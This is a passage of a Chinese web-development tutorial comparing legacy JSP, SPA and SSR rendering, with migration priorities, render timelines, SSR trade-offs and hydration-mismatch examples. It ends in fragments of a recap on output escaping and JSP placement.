| 1(最高) | 新功能 | 新代码直接写新架构,零迁移成本 ✓ |
| 2 | 改得最频繁的页面 | 迁移的收益 = "以后每次改都省事" ✓ |
| 3 | 流量最大的页面 | 性能收益最大 |
| 4 | 有安全问题的页面 | 顺便修掉 |
| 最低 | 几年没人动的页面 | 迁它没有任何收益 ✗ |
⚠️ "全部重写"是最大的陷阱 ✗
老系统里沉淀了大量"只有线上才暴露的边界情况"——重写会全部丢掉 ✓
绞杀者模式的价值:一次只换一块,每换一块都能上线验证、随时可回退 ✓
这与 《MySQL 性能优化基础》 的"归档优于分库分表"、《Spring Boot 配置管理与多环境》 的"渐进式优化"是同一种思维方式 ✓
如果新增了 App 端:
| 系统 | 调整 |
|---|---|
| A. 电商商品页 | 后端必须先有 API(App 要用)→ SSR 那层改成"调用 API 渲染" ✓(本来就是这么做的) |
| B. 运营后台 | 不变(本来就是 API + SPA)✓ |
| C. 老系统 | 必须迁移 ✗ ——JSP 渲染的 HTML 给不了 App ✓ |
第三行是关键:
"多端需求"是压垮服务端渲染的最后一根稻草 ✓
一旦需要支持 App,后端就必须退化成"只提供数据",渲染的多样性交给各个客户端 ✓
"请求到渲染的时间线"对比:
【纯前后端分离(SPA)】
用户点链接
│
├─ ① 下载 HTML 骨架(很小,但**内容是空的**) ~50ms
├─ ② 下载 JS bundle(几百 KB ~ 几 MB)✗ ~500ms
├─ ③ 执行 JS、框架初始化 ~200ms
├─ ④ 发起 API 请求 ~100ms
├─ ⑤ 收到数据、渲染
▼
用户看到内容 ← 累计约 850ms ✗(还得看用户网速)
用户首次看到"有内容"之前,页面是**白屏或骨架屏**
【SSR】
用户点链接
│
├─ ① 服务端渲染 HTML(含数据) ~150ms
│ (服务端在机房里请求数据,通常比用户快得多)
▼
用户**立刻看到完整内容** ✓ ← 约 150ms(只等一个 HTML)
├─ ② 后台继续下载 JS bundle ~500ms
├─ ③ Hydration(接管页面,之后可交互) ~200ms
▼
页面变得可交互 ← 约 850ms(与 SPA 相同)关键差别:
| 时刻 | SPA | SSR |
|---|---|---|
| 看到内容 | ~850ms ✗ | ~150ms ✓ |
| 可交互 | ~850ms | ~850ms(一样) |
这张表说明了 SSR 的本质:
SSR 并没有让"可交互"变快,它只是让"看到内容"变快了 ✓
所以 SSR 适合"内容为主、交互为辅"的页面(电商、新闻);对"交互为主"的页面(后台表格、编辑器)收益很小 ✗
而"看到内容快"这件事对电商的转化率、对 SEO 的抓取,都是实打实的影响 ✓
SSR 引入的新问题:
| # | 问题 | 说明 |
|---|---|---|
| 1 | 服务端压力 | 渲染从"每个用户的浏览器"挪到了"几台服务器" ✗ ——必须做缓存(CDN、页面缓存)✓ |
| 2 | Hydration 不一致 ★ | 服务端与浏览器渲染结果不同 → React 会报错/丢弃服务端内容 ⚠️ 常见原因: Date.now()、Math.random()、window/localStorage 在服务端不存在 |
| 3 | 状态同步 | 服务端请求的数据要"传给"浏览器(通常序列化进 HTML),不能重复请求 ⚠️ |
| 4 | 缓存策略复杂 | 页面级缓存 / 数据缓存 / CDN 缓存要分层设计 ✗ |
| 5 | 调试更难 | 同一个页面在服务端与浏览器各跑一遍,bug 可能只在一边出现 ✗ |
| 6 | 部署形态变化 | 从"静态文件 + API"变成"Node 服务 + API"——多了一个要运维的东西 ✗ |
第 2 条最值得展开(它是 SSR 最常见的坑):
// ✗ 服务端渲染时 window 是 undefined → 报错
const theme = window.localStorage.getItem('theme');
// ✗ 服务端与客户端的时间不同 → 渲染结果不同 → Hydration 不匹配
<div>{new Date().toLocaleString()}</div>
// ✓ 只在客户端执行(useEffect / onMounted)
useEffect(() => {
setTheme(window.localStorage.getItem('theme'));
}, []);这带来一条实用的判断:
"这个页面的内容,是否依赖"浏览器独有的东西"(localStorage、window、设备信息、时间)?"
- 依赖很少 → SSR 收益大 ✓
- 依赖很多 → SSR 会很痛苦,考虑"骨架屏 + 客户端渲染" ✗
最后回到本节的起点:
从"Java 拼 HTML"到 JSP,到前后端分离,再到 SSR——每一代都在解决上一代的问题,同时引入新的问题。
没有"最好的方案",只有"最适合当前场景的方案" ✓
而理解这条演进链的价值在于:下次有人推荐某个"新技术"时,你能问出"它在解决什么问题、代价是什么"。 ✓
request;<c:out> 的默认转义;& 必须最先替换);/WEB-INF 下放 JSP 的意义。Web 底层四节到此完成。接下来可以:
暂无